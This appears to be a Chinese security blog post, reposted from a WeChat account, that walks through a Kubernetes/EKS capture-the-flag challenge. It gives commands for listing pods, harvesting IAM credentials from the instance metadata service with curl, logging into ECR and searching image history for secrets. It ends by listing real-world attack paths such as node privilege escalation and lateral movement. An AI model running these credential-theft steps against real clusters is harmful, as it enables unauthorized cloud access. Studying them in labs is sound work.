在这一挑战中,参与者需要深入到一个Pod的容器镜像中,检查其Elastic Container Registry (ECR)存储库中的图层,并从中找出隐藏的秘密。这个任务与之前的Registry Hunt类似,但这次重点放在了AWS ECR上。
技术点:
-
Kubernetes Pods 和 Secrets:理解如何列出和获取Pods及其关联的秘密。
-
Docker镜像元数据:熟悉Docker镜像的历史记录,包括构建命令。
-
AWS IAM角色和权限:了解如何通过实例元数据服务(IMDS)获取IAM凭证,并使用这些凭证与AWS资源交互。
-
ECR操作:掌握如何登录到ECR、拉取镜像以及查看镜像的详细信息。
-
Crane工具:用于处理容器镜像的CLI工具。
步骤与命令:
-
列出并检查Pod详情:
-
使用
kubectl get pods
命令来列出所有Pod。 -
选择目标Pod后,利用
kubectl get pod <pod-name> -o json
获得更详细的规格说明。 -
提取ECR镜像URL:
-
在Pod详情中找到使用的ECR镜像URL,例如
688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:...
-
从IMDS获取临时IAM凭证:
-
请求节点实例的角色名称:
curl http://169.254.169.254/latest/meta-data/iam/security-credentials
-
获取具体凭证信息:
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
-
设置环境变量以便后续使用:
bash深色版本
export AWS_ACCESS_KEY_ID=$(echo $TOKEN | jq -r '.AccessKeyId')
export AWS_SECRET_ACCESS_KEY=$(echo $TOKEN | jq -r '.SecretAccessKey')
export AWS_SESSION_TOKEN=$(echo $TOKEN | jq -r '.SessionToken') -
生成ECR密码并登录:
-
PASSWORD=$(aws ecr get-login-password)
-
crane auth login <ecr-url> -u AWS -p $PASSWORD
-
检查镜像元数据和层:
-
使用
crane config <image>
查看镜像配置。 -
注意镜像历史部分可能包含敏感信息或构建时的秘密。
-
发现并读取flag文件:
-
如果镜像中有任何文本文件如
flag.txt
,可以直接用cat
命令读取。
实战挖掘点:
未授权访问EKS集群中的私有Docker镜像仓库
从Kubernetes Pod内部提升权限至EKS节点级别
利用错误配置的服务账号权限读取敏感S3桶数据
利用Kubernetes API Server暴露的端点进行信息泄露
通过Kubernetes RBAC漏洞实现跨命名空间横向移动
欢迎关注
原文始发于微信公众号(黑伞安全):从零开始:K8s安全测试与漏洞挖掘-8
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论